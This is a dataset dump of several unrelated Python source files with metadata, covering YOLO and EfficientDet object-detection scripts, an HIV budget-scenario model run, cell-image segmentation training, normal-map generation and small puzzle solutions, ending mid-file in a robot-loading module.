tuple(text_origin + label_size)],\n fill=self.colors[c])\n draw.text(text_origin, label, fill=(0, 0, 0), font=font) # 文案\n del draw\n\n end = timer()\n print(end - start) # 检测执行时间\n return image\n\n def close_session(self):\n self.sess.close()\n\n\n\n'''\n后处理将yolo定位关键位置图片切成目标区\n单链接聚类\n'''\ndef after_process(image_path, result):\n\n '''\n reuslt:\n 0 = {list} : [13, 'CreditCode_1', 0.9705741, [792, 748, 979, 814]]\n 1 = {list} : [8, 'Person_1', 0.99604374, [217, 1135, 577, 1192]]\n 2 = {list} : [3, 'Address_1', 0.99387616, [219, 1045, 586, 1104]]\n 3 = {list} : [2, 'Company_1', 0.9963999, [242, 862, 566, 923]]\n 4 = {list} : [0, 'BusinessLicense_1', 0.9928785, [350, 503, 1293, 700]]\n\n output:\n [result_1,CUT(4坐标)]\n '''\n\n basename = os.path.basename(image_path)\n img = cv2.imread(image_path)\n (h,w,c) = img.shape\n\n need_box = []\n for res in result:\n if res[1].split('_')[0] != 'BusinessLicense': # and res[1].split('_')[0] != 'CreditCode' :\n need_box.append(res)\n\n result = AGNES(need_box,box_dist,C.Kmeans_Class)\n # 行聚类结果\n # print(result)\n\n after_process_result = []\n for class_i in range(len(result)):\n need_box = []\n Cut_Long = False\n for box_i in result[class_i]:\n need_box.append(box_i[3])\n if box_i[1].split('_')[0] == 'CreditCode':\n Cut_Long = True\n need_box_np = np.array(need_box)\n print(need_box_np,need_box_np.shape)\n min_left = need_box_np.min(axis=0)[0]\n min_top = need_box_np.min(axis=0)[1]\n max_right = need_box_np.max(axis=0)[2]\n min_right = need_box_np.min(axis=0)[2]\n max_down = need_box_np.max(axis=0)[3]\n if Cut_Long:\n # 保留title\n cut_box = (min_top-C.Cut_Pixel,max_down+C.Cut_Pixel,min_left,w) # (y_min,y_max,x_min,x_max)\n cut_img = img[cut_box[0]:cut_box[1], cut_box[2]:cut_box[3]]\n for box_update_i in result[class_i]:\n # 更新yolo box的相对位置\n box_update_i[3][0] = box_update_i[3][0] - cut_box[2]\n box_update_i[3][2] = box_update_i[3][2] - cut_box[2]\n box_update_i[3][1] = box_update_i[3][1] - cut_box[0]\n box_update_i[3][3] = box_update_i[3][3] - cut_box[0]\n after_process_result.append([result[class_i],cut_img])\n else:\n cut_box = (min_top-C.Cut_Pixel, max_down+C.Cut_Pixel, min_left, w)\n cut_img = img[cut_box[0]:cut_box[1], cut_box[2]:cut_box[3]]\n for box_update_i in result[class_i]:\n # 更新yolo box的相对位置\n box_update_i[3][0] = box_update_i[3][0] - cut_box[2]\n box_update_i[3][2] = box_update_i[3][2] - cut_box[2]\n box_update_i[3][1] = box_update_i[3][1] - cut_box[0]\n box_update_i[3][3] = box_update_i[3][3] - cut_box[0]\n after_process_result.append([result[class_i], cut_img])\n\n # cv2.imwrite(str(class_i)+basename, cut_img)\n\n return (image_path,after_process_result)\n\n\ndef after_process_ctpn(ctpn, image_path, result):\n '''\n ctpn处理\n :param after_process_result:\n :return:\n '''\n\n # import pickle\n # import ctpn_predict\n # with open('result.obj', 'rb') as config_f:\n # (image_path, result) = pickle.load(config_f)\n # ctpn = ctpn_predict.id_card_word_position()\n\n i = 3\n basename = os.path.basename(image_path)\n\n for pic_i in result:\n # 分别处理一张图\n image = pic_i[1]\n m_img_copy = image.copy()\n\n (h, w, c) = image.shape\n\n info = pic_i[0]\n title_box = []\n title_classname = []\n title_score = []\n for info_i in info:\n title_box.append(info_i[3])\n title_classname.append(info_i[1])\n title_score.append(info_i[2])\n\n # cv2.rectangle(m_img_copy, (info_i[3][0], info_i[3][1]),\n # (info_i[3][2], info_i[3][3]), (0, 255, 0), 2)\n\n title_box_np = np.array(title_box)\n min_right = title_box_np.min(axis=0)[2]\n\n cut_y_min = 0\n cut_y_max = h\n cut_x_min = min_right + 1\n cut_x_max = w\n image_cut = image[cut_y_min:cut_y_max, cut_x_min:cut_x_max]\n # 调用函数\n boxes, m_img, scale = ctpn.predict_zhizhao(GetRedC(image_cut))\n\n ctpn_boxes = []\n for box in boxes:\n print(box)\n x1 = int(box[0] / scale)\n y1 = int(box[1] / scale)\n x2 = int(box[2] / scale)\n y2 = int(box[3] / scale)\n x1 = x1 + cut_x_min\n x2 = x2 + cut_x_min\n\n # print('yolo')\n # print(scale)\n # print(m_img_copy.shape)\n # print([x1,y1,x2,y2])\n\n ctpn_boxes.append([x1,y1,x2,y2])\n # cv2.rectangle(m_img_copy, (x1, y1),\n # (x2, y2), (0, 0, 255), 3)\n\n ## 算法: 近邻box\n\n print(title_box,ctpn_boxes)\n title_box, ctpn_boxes,ctpn_boxes_best_choose,ctpn_boxes_good_choose = idokonw(title_box,ctpn_boxes,title_classname)\n\n colors = [(0, 0, 255),(0, 255, 255),(0, 255, 0),(255, 0, 0),(255, 255, 0),(255, 255, 255)]\n for box_i,box in enumerate(title_box):\n cv2.rectangle(m_img_copy, (box[0], box[1]),\n (box[2], box[3]), colors[box_i], 3)\n if ctpn_boxes_best_choose[box_i][0] != -1:\n box = ctpn_boxes[int(ctpn_boxes_best_choose[box_i][0])]\n cv2.rectangle(m_img_copy, (box[0], box[1]),\n (box[2], box[3]), colors[box_i], 3)\n if ctpn_boxes_good_choose[box_i][0] != -1:\n box = ctpn_boxes[int(ctpn_boxes_good_choose[box_i][0])]\n cv2.rectangle(m_img_copy, (box[0], box[1]),\n (box[2], box[3]), colors[box_i], 1)\n # for box in ctpn_boxes:\n # cv2.rectangle(m_img_copy, (box[0], box[1]),\n # (box[2], box[3]), (0, 255, 0), 3)\n\n pass\n\n\n cv2.imwrite(str(i) +'_ctpn_' + basename, m_img_copy)\n i = i + 1\n\n\n\ndef get_path_list(rootdir):\n '''\n :return: self.FilePathList\n '''\n FilePathList = []\n for fpathe, dirs, fs in os.walk(rootdir):\n for f in fs:\n FilePath = os.path.join(fpathe, f)\n if os.path.isfile(FilePath):\n FilePathList.append(FilePath)\n return FilePathList\n\n###################################################### test\n\ndef detect_img_for_test():\n yolo = YOLO3()\n img_path = r'./hard/201811056769216300000000000002-05M_0.jpg'\n image = Image.open(img_path)\n (image_path, result) = yolo.predict(image,image_path=img_path)\n after_process(image_path, result)\n print(result)\n # r_image = yolo.detect_image(image)\n yolo.close_session()\n # r_image.save('1.png')\n\n# 检查yolo3 模型效果\ndef detect_img_for_batch():\n yolo = YOLO3()\n FileList = get_path_list('./hard')\n for f in FileList:\n image = Image.open(f)\n r_image = yolo.detect_image(image)\n basename = os.path.basename(f)\n r_image.save('./result_data/' + basename)\n yolo.close_session()\n\ndef detect_img_for_batch_predict():\n yolo = YOLO3()\n ctpn = ctpn_predict.id_card_word_position()\n\n FileList = get_path_list(r'C:\\004_project\\012-yolo\\ZZ_Dection\\test_data')\n for f in FileList:\n print('handle' + f)\n image = Image.open(f)\n (image_path, result) = yolo.predict(image, image_path=f)\n # 单链接聚类\n (image_path, after_process_result) = after_process(image_path, result)\n # bbox dist\n after_process_ctpn(ctpn, image_path, after_process_result)\n\n yolo.close_session()\n\n\ndef predict_img():\n yolo = YOLO3()\n img_path = r'./test_data/201811059637005600000000000001-07M_0.jpg'\n image = Image.open(img_path)\n (image_path, result) = yolo.predict(image,image_path=img_path)\n\n yolo.close_session()\n\n # r_image.save('1.png')\n\n\n\n\nif __name__ == '__main__':\n # predict_img()\n # detect_img_for_test()\n # detect_img_for_batch()\n detect_img_for_batch_predict()\n # after_process_ctpn()\n # import pickle\n # with open('result.obj', 'rb') as config_f:\n # (image_path, result) = pickle.load(config_f)\n # print(result)\n #\n # after_process(image_path, result)\n\n pass\n\n\n\n\n\n\n\n\n\n","sub_path":"yolo3_predict_v1.py","file_name":"yolo3_predict_v1.py","file_ext":"py","file_size_in_byte":17305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"540123223","text":"\"\"\"\nRUNBUDGET\n\nRun a single budget.\n\"\"\"\n\n\nimport sys; sys.path.append('/u/cliffk/unsw/optima/server/src/sim')\nfrom optimize import runmodelalloc\nfrom copy import deepcopy\nfrom dataio import loaddata\nfrom utils import findinds\nfrom numpy import arange\nfrom gatherplotdata import gathermultidata\nfrom viewresults import viewmultiresults\nfrom timevarying import timevarying\nfrom matplotlib.pylab import subplot, pie, figure, array\nimport colorbrewer\n\nsys.path.append(r'C:\\Users\\Rgray\\Documents\\Research\\!Optima_Development\\optimamodel\\Optima\\server\\src\\sim')\norigfile = r'C:\\Users\\Rgray\\Google Drive\\Shared Projects\\analyses-data\\Indonesia\\projects\\Indonesia2015workshop-GF2.json'\nnewfile = r'C:\\Users\\Rgray\\Google Drive\\Shared Projects\\analyses-data\\Indonesia\\projects\\Indonesia2015workshop-scenarios.json'\n\noutfilename = r'C:\\Users\\Rgray\\Google Drive\\Shared Projects\\analyses-data\\Indonesia\\output\\scenariosGF'\n\n## Set parameters\nverbose = 8\nntimepm = 1 # AS: Just use 1 or 2 parameters... using 3 or 4 can cause problems that I'm yet to investigate\nrandseed = 0\nstart = 2015\nend = 2030\ndoplot = False\ndosaveCliff = False\ndosave = True\n\n\nD = loaddata(origfile)\ninitialindex = findinds(D['opt']['partvec'], start)\nfinalparindex = findinds(D['opt']['partvec'], end)\nparindices = arange(initialindex,finalparindex)\n\n# Specify programs and budgets\nprognames = [u'Condoms and BCC (P)', u'FSW programs (P)', u'MSM programs (P)', \nu'OST', u'NSP (NP)', u'ART', u'PMTCT', u'MGMT', u'M&E', u'Other', u'HTC (P)', \nu'HTC (NP)', u'Condoms and BCC (NP)', u'FSW programs (NP)', u'MSM programs (NP)']\nallocOrig = [1.27835818e+06, 4.48478110e+05, 9.94186776e+05,\n 1.66444510e+05, 5.28590039e+06, 3.11815379e+07,\n 1.23095012e+05, 1.60732203e+07, 1.19850462e+07,\n 3.76615980e+06, 1.16737956e+03, 7.67168093e+04,\n 6.24139582e+06, 2.18962842e+06, 4.85397073e+06]\nallocNoGF = [0, 0, 0,\n 0, 0, 3.11815379e+07,\n 0, 1.60732203e+07, 1.19850462e+07,\n 3.76615980e+06, 0, 0,\n 0, 0, 0] \nallocGF = [0, 915876, 1047422,\n 65395, 2076806, 38304235,\n 620027, 24920965, 13643745,\n 7258367, 0, 0,\n 0, 4471631, 5113884]\nallocGFextra = [0, 1492224, 1440046,\n 82467, 2618967, 43728628,\n 1820070, 25215654, 13887271,\n 7985905, 0, 0,\n 0, 7285566, 7030815]\n\nif doplot:\n bmap = colorbrewer.get_map('Paired', 'Qualitative', len(prognames)) # WARNING, won't work with >13\n colors = bmap.mpl_colors\n figure(figsize=(12,6))\n subplot(1,2,1)\n pie(alloc2018, labels=prognames, colors=colors)\n subplot(1,2,2)\n pie(newalloc, labels=prognames, colors=colors)\n\nallocs = [allocOrig, allocNoGF, allocGF, allocGFextra]\nfor i,alloc in enumerate(allocs):\n allocs[i] = timevarying(alloc, ntimepm=1, nprogs=len(allocOrig), tvec=D['opt']['partvec'], totalspend=sum(alloc)) \n\n\nlabels = ['allocOrig', 'allocNoGF','allocGF','allocGFextra']\nresult = dict()\nresult['Rarr'] = []\nfor thisalloc in allocs:\n R = runmodelalloc(D, thisalloc, allocOrig, parindices, randseed, rerunfinancial=False, verbose=2)\n result['kind'] = 'money'\n result['Rarr'].append(dict()) # Append a structure\n result['Rarr'][-1]['R'] = deepcopy(R) # Store the R structure (results)\n result['Rarr'][-1]['label'] = labels.pop(0) # Store labels, one at a time\n\n\nmulti = gathermultidata(D, result['Rarr'])\nif doplot: viewmultiresults(multi)\n\nprint('\\nOriginal/new total:')\nprint(sum(allocOrig))\nprint(sum(allocNoGF))\nprint(sum(allocGF))\nprint(sum(allocGFextra))\n\nprint('\\nOriginal/new deaths in 2020:')\nprint(multi['death']['tot']['best'][0][20])\nprint(multi['death']['tot']['best'][1][20])\n\n# Cliff's version of save\nif dosaveCliff:\n from gatherplotdata import gatheroptimdata\n from optimize import saveoptimization, defaultobjectives, defaultconstraints\n from dataio import savedata\n objectives = defaultobjectives(D)\n constraints = defaultconstraints(D)\n D.pop('optimizations')\n D['plot'].pop('optim')\n \n ## Gather plot data\n plot_result = gatheroptimdata(D, result, verbose=verbose)\n if 'optim' not in D['plot']: D['plot']['optim'] = [] # Initialize list if required\n D['plot']['optim'].append(plot_result) # In any case, append\n \n result_to_save = {'plot': [plot_result]}\n\n ## Save optimization to D\n D = saveoptimization(D, 'Minimize money: NSP', objectives, constraints, result_to_save, verbose=2)\n savedata(newfile, D)\n\n# My version of save \nimport pandas as pd\nfrom pandas import Series, ExcelWriter\nif dosave:\n # Now extract and save the results we are interested in as a dataframe in a CSV file\n programs = Series(prognames)\n curr_alloc = Series(allocOrig)\n no_gf = Series(allocNoGF)\n with_gf = Series(allocGF)\n with_gf_extra = Series(allocGFextra)\n \n # Infections\n curr_newinfects = Series(multi['inci']['tot']['best'][0])\n no_gf_newinfects = Series(multi['inci']['tot']['best'][1])\n gf_newinfects = Series(multi['inci']['tot']['best'][2])\n gfextra_newinfects = Series(multi['inci']['tot']['best'][3])\n \n # Deaths\n curr_deaths = Series(multi['death']['tot']['best'][0])\n no_gf_deaths = Series(multi['death']['tot']['best'][1])\n gf_deaths = Series(multi['death']['tot']['best'][2]) \n gfextra_deaths = Series(multi['death']['tot']['best'][3])\n \n # Create data frame \n Dfalloc = pd.concat({'Programs': programs, 'Current_Allocation': curr_alloc, 'No_Global_Fund': no_gf,\n 'With_Global_Fund':with_gf,'With_Extra':with_gf_extra}, axis = 1) \n \n Dfinfects = pd.concat({'current_infections': curr_newinfects,'No_GF_infections': no_gf_newinfects,\n 'GF_infections': gf_newinfects,'Extra_infections': gfextra_newinfects}, axis = 1) \n \n Dfdeaths = pd.concat({'current_deaths': curr_deaths,'No_GF_deaths': no_gf_deaths,\n 'GF_deaths': gf_deaths,'Extra_deaths': gfextra_deaths}, axis = 1)\n \n # Put results in an Excel file as well for quick viewing\n \n writer = ExcelWriter(outfilename+'.xlsx') \n Dfalloc.to_excel(writer,'Sheet1')\n Dfinfects.to_excel(writer,'Sheet2')\n Dfdeaths.to_excel(writer,'Sheet3')\n writer.save()\n printv('..result files created', 3, verbose)\n\nprint('\\n\\n\\nDONE.')\n\n","sub_path":"indonesia/runbudget.py","file_name":"runbudget.py","file_ext":"py","file_size_in_byte":6454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"119652197","text":"\"\"\"\nCOCO-Style Evaluations\n\"\"\"\nimport argparse\nimport torch\nimport yaml\nfrom tqdm import tqdm\nfrom model.efficientdet.backbone import EfficientDetBackbone\nfrom model.efficientdet.utils import BBoxTransform, ClipBoxes\nfrom utils import postprocess, boolean_string\nfrom dataloader.freicar_dataloader import FreiCarDataset\nfrom model.efficientdet.dataset import collater\nfrom torch.utils.data import DataLoader\nimport numpy as np\nimport matplotlib.pyplot as plt\n########################################################################\n# Object Detection model evaluation script\n# Modified by: Jannik Zuern (zuern@informatik.uni-freiburg.de)\n########################################################################\ndef metrics(predections: np.ndarray, labels: np.ndarray, iou_threshold: float):\n # Sum is used to identify ground truth with zero bounding box.\n sum = np.sum(labels)\n ious = []\n FP = 0\n TP = 0\n FN = 0\n # False positive case\n if sum == -5:\n FP = 1 * len(predections)\n # False Negative case\n elif len(predections) == 0:\n FN = len(labels)\n ious = [0] * len(labels)\n else:\n if len(labels) < len(predections):\n #These are unnecessary extra boxes\n FP = len(predections) - len(labels)\n ious = [0] * len(labels)\n for i in range(len(labels)):\n compare_iou = []\n # we are calculating iou of each ground truth w.r.t every predicted bounding box and selecting the best one\n # We using this logic to make sure if the prediction order is not inaccordence with ground truth order in case of multiple objects\n for j in range(len(predections)):\n intersection = (min(predections[j][2], labels[i][2]) - max(predections[j][0], labels[i][0])) * \\\n (min(predections[j][3], labels[i][3]) - max(predections[j][1], labels[i][1]))\n union = ((predections[j][2] - predections[j][0]) * (predections[j][3] - predections[j][1])) + (\n (labels[i][2] - labels[i][0]) *\n (labels[i][3] - labels[i][1])) - intersection\n compare_iou.append(intersection / union)\n ious[i] = np.max(compare_iou)\n else:\n ious = [0] * len(labels)\n for j in range(len(predections)):\n compare_iou = []\n # we are calculating iou of each ground truth w.r.t every predicted bounding box and selecting the best one\n # We using this logic to make sure if the prediction order is not inaccordence with ground truth order in case of multiple objects\n for i in range(len(labels)):\n intersection = (min(predections[j][2], labels[i][2]) - max(predections[j][0], labels[i][0])) * \\\n (min(predections[j][3], labels[i][3]) - max(predections[j][1], labels[i][1]))\n union = ((predections[j][2] - predections[j][0]) * (predections[j][3] - predections[j][1])) + (\n (labels[i][2] - labels[i][0]) *\n (labels[i][3] - labels[i][1])) - intersection\n compare_iou.append(intersection / union)\n ious[j] = np.max(compare_iou)\n for iou in ious:\n #There is a box but we are discarding because of threshold. Hence we add it to FN\n if iou < iou_threshold:\n FN += 1\n else:\n TP += 1\n return {\n \"ious\": ious,\n \"tp\": TP,\n \"fp\": FP,\n \"fn\": FN\n }\nap = argparse.ArgumentParser()\nap.add_argument('-p', '--project', type=str, default='freicar-detection', help='project file that contains parameters')\nap.add_argument('-c', '--compound_coef', type=int, default=0, help='coefficients of efficientdet')\nap.add_argument('-w', '--weights', type=str, default=None, help='/path/to/weights')\nap.add_argument('--nms_threshold', type=float, default=0.5, help='nms threshold, don\\'t change it if not for testing purposes')\nap.add_argument('--cuda', type=boolean_string, default=True)\nap.add_argument('--device', type=int, default=0)\nargs = ap.parse_args()\ncompound_coef = args.compound_coef\nnms_threshold = args.nms_threshold\nuse_cuda = args.cuda\ngpu = args.device\nproject_name = args.project\nweights_path = args.weights\nparams = yaml.safe_load(open(f'projects/{project_name}.yml'))\nobj_list = params['obj_list']\nthreshold = 0.2\niou_threshold = 0.2\nif __name__ == '__main__':\n '''\n Note: \n When calling the model forward function on an image, the model returns\n features, regression, classification and anchors.\n In order to obtain the final bounding boxes from these predictions, they need to be postprocessed\n (this performs score-filtering and non-maximum suppression)\n Thus, you should call\n regressBoxes = BBoxTransform()\n clipBoxes = ClipBoxes()\n preds = postprocess(imgs, anchors, regression, classification, regressBoxes, clipBoxes, threshold, nms_threshold) \n preds = preds[0]\n Now, the scores, class_indices and bounding boxes are saved as fields in the preds dict and can be used for subsequent evaluation.\n '''\n set_name = 'validation'\n freicar_dataset = FreiCarDataset(data_dir=\"./dataloader/data/\",\n padding=(0, 0, 12, 12),\n split=set_name,\n load_real=False)\n val_params = {'batch_size': 1,\n 'shuffle': False,\n 'drop_last': True,\n 'collate_fn': collater,\n 'num_workers': 1}\n freicar_generator = DataLoader(freicar_dataset, **val_params)\n # instantiate model\n model = EfficientDetBackbone(compound_coef=compound_coef,\n num_classes=len(obj_list),\n ratios=eval(params['anchors_ratios']),\n scales=eval(params['anchors_scales']))\n # load model weights file from disk\n model.load_state_dict(torch.load(weights_path, map_location=torch.device('cpu')))\n ##########################################\n # TODO: implement me!\n precision_list = []\n recall_list = []\n miou_list = []\n for j in range(0, 11):\n threshold = j * 0.1\n print(\"===================================\")\n print(threshold)\n model.eval()\n ious = []\n progress_bar = tqdm(freicar_generator)\n # when iou threshold = 1 false -ve and true +ve will be equal to zero we get divide by zero error so we are setting TP =1 as default.\n TP = 1\n FN = 0\n FP = 0\n for i, data in enumerate(progress_bar):\n with torch.no_grad():\n try:\n inputs = data['img'].float()\n labels = data['annot']\n features, regression, classification, anchors = model(inputs)\n regressBoxes = BBoxTransform()\n clipBoxes = ClipBoxes()\n preds = postprocess(inputs, anchors, regression, classification, regressBoxes, clipBoxes, threshold,\n nms_threshold)\n #print(labels)\n preds = preds[0]\n #print(preds)\n labels = torch.squeeze(labels)\n data = metrics(preds['rois'].reshape(-1, 4), labels.cpu().detach().numpy().reshape(-1, 5), iou_threshold)\n #print(data)\n ious += data['ious']\n TP += data['tp']\n FP += data['fp']\n FN += data['fn']\n #TP, TN, FP, FN = confusion_matrix(preds['rois'].reshape(-1,4), labels.cpu().detach().numpy().reshape(-1, 5), miou)\n except Exception as e:\n print(e)\n miou = np.mean(ious)\n print(\"miou : \", miou)\n precision = TP / (TP + FP)\n print(\"True positive: \", TP)\n print(\"FalsePositive: \", FP)\n print(\"False Negative: \", FN)\n print(\"Precision: \", precision)\n recall = TP / (TP + FN)\n print(\"recall : \", recall)\n precision_list.append(precision)\n recall_list.append(recall)\n miou_list.append(miou)\n ##########################################\nprecision_list = [precision_list[i] for i in np.argsort(recall_list)[::-1]]\nrecall_list = [recall_list[i] for i in np.argsort(recall_list)[::-1]]\nplt.plot([recall_list[i] for i in np.argsort(precision_list)[::-1]], [precision_list[i] for i in np.argsort(precision_list)[::-1]])\nplt.title(\"PR curve plot\")\nplt.xlabel(\"recall\")\nplt.ylabel(\"precision\")\nplt.grid()\nplt.savefig(\"precision recall curve.png\")\nprint(\"miou:\")\nprint(miou)\nprint(\"recall:\")\nprint(recall_list)\nprint(\"precision\")\nprint(precision_list)\naoc = 0\nfor i in range(len(recall_list)-1):\n aoc += ((recall_list[i] - recall_list[i+1]) * precision_list[i])\nprint(\"map: \", aoc)","sub_path":"ros_code/02-01-object-detection-exercise/evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":9072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"38432760","text":"# Problem 121.py\r\n# \"Disc game prize fund\"\r\n#\r\n# Result - 2269\r\n#\r\n# Changelog:\r\n# 05.01.2017 - Script created\r\n\r\nfrom common import *\r\nfrom fractions import Fraction\r\n\r\nn_max = 15\r\nn_blue = [1]\r\n\r\nfor n in range(1, 1 + n_max):\r\n blue_prob = Fraction(1, 1 + n)\r\n new_n_blue = [Fraction(0, 1)]\r\n for i in n_blue:\r\n new_n_blue[-1] += i * (1 - blue_prob)\r\n new_n_blue.append(i * blue_prob)\r\n n_blue = new_n_blue\r\n\r\nresult = int(1/sum(n_blue[-n_max//2:]))\r\n\r\nprint_result(result)\r\n","sub_path":"Project Euler/Problem 121.py","file_name":"Problem 121.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"18081005","text":"import sys, os, numpy as np\nfrom PIL import Image, ImageDraw\nfrom crfrnn_model import get_crfrnn_model_def\nimport util\nfrom keras.utils import to_categorical\nfrom keras import metrics\n\nGenImSize = 128\nFitImSize = 500\n\ndef MakeCellImage(x, y, r, i):\n im = Image.new(mode='F', size=(GenImSize, GenImSize))\n draw = ImageDraw.Draw(im)\n draw.ellipse(xy=[x-r, y-r, x+r, y+r], fill='White')\n im = np.array(im).astype(np.float32)\n im *= (i / 255.0)\n return im\n\ndef MakeRandomCellImage(n):\n\tim = np.zeros(shape=(GenImSize, GenImSize))\n\tfor i in range(n):\n\t\tradius = np.random.randint(low=-5, high=10) + 10\n\t\tintensity = (np.random.randn() * 0.1) + 0.5\n\t\tintensity = max(min(intensity, 1.0), 0.0)\n\t\tposition = np.random.randint(low=radius, high=GenImSize-radius, size=2)\n\t\tim += MakeCellImage(position[0], position[1], radius, intensity)\n\t\t\n\tim_rand = im + (np.random.randn(im.shape[0], im.shape[1]) * 0.1) + 0.2\n\tim_rand[im_rand < 0] = 0\n\tim_rand[im_rand > 1] = 1\n\tim[im > 0] = 1\n\tim[im < 1] = 0\n\treturn im, im_rand\n\ndef MakeInputData(n, nBatch=64):\n\tim = np.zeros(shape=(FitImSize, FitImSize, nBatch))\n\tim_rand = np.zeros(shape=(FitImSize, FitImSize, 1, nBatch))\n\tfor i in range(nBatch):\n\t\tim_, im_rand_ = MakeRandomCellImage(n)\n\t\tim_ = Image.fromarray(im_)\n\t\tim_rand_ = Image.fromarray(im_rand_)\n\t\tim_rand_ = im_rand_.resize((FitImSize, FitImSize), Image.ANTIALIAS)\n\t\tim_ = im_.resize((FitImSize, FitImSize), Image.NEAREST)\n\t\tim_ = np.array(im_)\n\t\tim_rand_ = np.array(im_rand_)\n\t\tim_rand_ = im_rand_.astype(np.float32)\n\t\tim_rand_ -= np.mean(im_rand_.flatten())\n\t\tim_rand_ /= np.std(im_rand_.flatten())\n\n\t\tim_rand[:, :, 0, i] = im_rand_\n\t\tim[:, :, i] = im_\n\n\tim = to_categorical(im.transpose((2, 0, 1)), num_classes=2)\n\n\treturn im, im_rand.transpose((3, 0, 1, 2))\n\n\nepochesPerInput = 25\nnInputs = 40\nsaved_model_path = \"SegmentationModel_Weights.h5\"\n\nmodel = get_crfrnn_model_def()\n#model.load_weights(saved_model_path)\nmodel.compile(loss='binary_crossentropy', optimizer='adadelta', metrics=[metrics.binary_accuracy])\n\nfor i in range(nInputs):\n\tprint(\"---\\n---\")\n\tprint(\"Iteration {}/{}\".format(i+1, nInputs))\n\tprint(\"---\\n---\")\n\t\n\tlabels, im = MakeInputData(n=np.random.randint(low=1, high=5))\n\n\tmodel.fit(im, labels, batch_size=1,\n epochs=epochesPerInput, validation_split=0.05)\n\tmodel.save_weights(saved_model_path)","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"253094330","text":"\n# @Title: 罗马数字转整数 (Roman to Integer)\n# @Author: allan.wanglz@qq.com\n# @Date: 2020-06-18 22:20:31\n# @Runtime: 68 ms\n# @Memory: 13.8 MB\n\nclass Solution:\n def romanToInt(self, s: str) -> int:\n dict={'I':1,'V':5,'X':10,'L':50,'C':100,'D':500,'M':1000,'IV':-2,'IX':-2,'XL':-20,'XC':-20,'CD':-200,'CM':-200}\n sum=0\n for k in range (len(s)-1):\n sum=sum+dict[s[k]]\n if (s[k]+s[k+1] in dict):\n sum=sum+dict[s[k]+s[k+1]]\n sum=sum+dict[s[-1]]\n return sum\n","sub_path":"Problemset/roman-to-integer/roman-to-integer.py","file_name":"roman-to-integer.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"227308820","text":"import numpy as np\nimport scipy\nimport scipy.ndimage\nimport scipy.misc\nimport numpy.linalg as lin\n\ndef load(filename):\n\timage = scipy.ndimage.imread(filename)\n\treturn image\n\t\ndef save(filename, data):\n\tscipy.misc.imsave(filename, data)\n\t\ndef sample(map, coords):\n\t\n\ttake = map\n\tfor axis in range(0, len(coords)):\n\t\tgood_coord = coords[axis]\n\t\tif good_coord < 0:\n\t\t\tgood_coord = 0;\n\t\tif good_coord >= map.shape[axis]:\n\t\t\tgood_coord = map.shape[axis] - 1\n\t\ttake = take[good_coord]\n\t\n\treturn take\n\t\ndef replace_colour(image, colour, new_colour):\n\n\tfor row in range(0, len(image)):\n\t\tfor col in range(0, len(image[row])):\n\t\t\tpx_colour = image[row][col]\n\t\t\t\n\t\t\t# The == operator is element-wise. Each comparison returns a bool;\n\t\t\t# The sum is thus the number that match. If all elments match, then \n\t\t\t# the colours are equal.\n\t\t\tif np.sum(px_colour == colour) == len(colour):\n\t\t\t\timage[row][col] = new_colour\n\n\t\ndef make_normal(bump, z_scale=1.0, pixelWidth=None):\n\tif len(bump.shape) >= 3:\n\t\tprint(\"Bump not grayscale\");\n\t\treturn None\n\t\n\tif pixelWidth is None:\n\t\tpixelWidth = 1.0 / bump.shape[0]\n\t\n\tmap = np.zeros(shape=(bump.shape[0], bump.shape[1], 3), dtype=np.uint8)\n\tfor row in range(0, bump.shape[0]):\n\t\tfor col in range(0, bump.shape[1]):\n\t\t\t\n\t\t\tA = [\n\t\t\t\t[-pixelWidth, -pixelWidth, 1],\n\t\t\t\t[0, -pixelWidth, 1],\n\t\t\t\t[pixelWidth, -pixelWidth, 1],\n\t\t\t\t[-pixelWidth, 0, 1],\n\t\t\t\t[0, 0, 1],\n\t\t\t\t[pixelWidth, 0, 1],\n\t\t\t\t[-pixelWidth, pixelWidth, 1],\n\t\t\t\t[0, pixelWidth, 1],\n\t\t\t\t[pixelWidth, pixelWidth, 1]]\n\t\t\tz = [\n\t\t\t\t[sample(bump, [row - 1, col - 1])],\n\t\t\t\t[sample(bump, [row, col - 1])],\n\t\t\t\t[sample(bump, [row + 1, col - 1])],\n\t\t\t\t[sample(bump, [row - 1, col])],\n\t\t\t\t[sample(bump, [row, col])],\n\t\t\t\t[sample(bump, [row + 1, col])],\n\t\t\t\t[sample(bump, [row - 1, col + 1])],\n\t\t\t\t[sample(bump, [row, col + 1])],\n\t\t\t\t[sample(bump, [row + 1, col + 1])]]\n\n\t\t\tz = np.array(z, dtype=np.float32)\n\t\t\tz = z / 255.0 * z_scale\n\t\t\t\t\n\t\t\t\n\t\t\tm, n, c = lin.lstsq(A, z)[0]\n\t\t\tnormal = (-n, -m, 1)\n\t\t\tnormal /= lin.norm(normal)\n\t\t\tnormal = normal / 2 + 0.5\n\t\t\t\n\t\t\tmap[row][col][0] = int(np.round(normal[0] * 255))\n\t\t\tmap[row][col][1] = int(np.round(normal[1] * 255))\n\t\t\tmap[row][col][2] = int(np.round(normal[2] * 255))\n\treturn map\n\t\t\t\n\t\t\t","sub_path":"ImageEdit/editimage.py","file_name":"editimage.py","file_ext":"py","file_size_in_byte":2222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"529672959","text":"# System\nimport sys\n\n# ROS\nimport rospy\n\n# Robot skills\nfrom .robot import Robot\nfrom .amigo import Amigo\nfrom .hero import Hero\nfrom .mockbot import Mockbot\nfrom .sergio import Sergio\n\n\nROBOTS = {\n \"amigo\": Amigo,\n \"hero\": Hero,\n \"mockbot\": Mockbot,\n \"sergio\": Sergio\n}\n\n\ndef get_robot_from_argv(index, default_robot_name=\"hero\"):\n \"\"\"\n Construct a robot from the name given in the command-line or from the default robot name.\n\n :param index: Index in the command-line arguments where a robot name may be 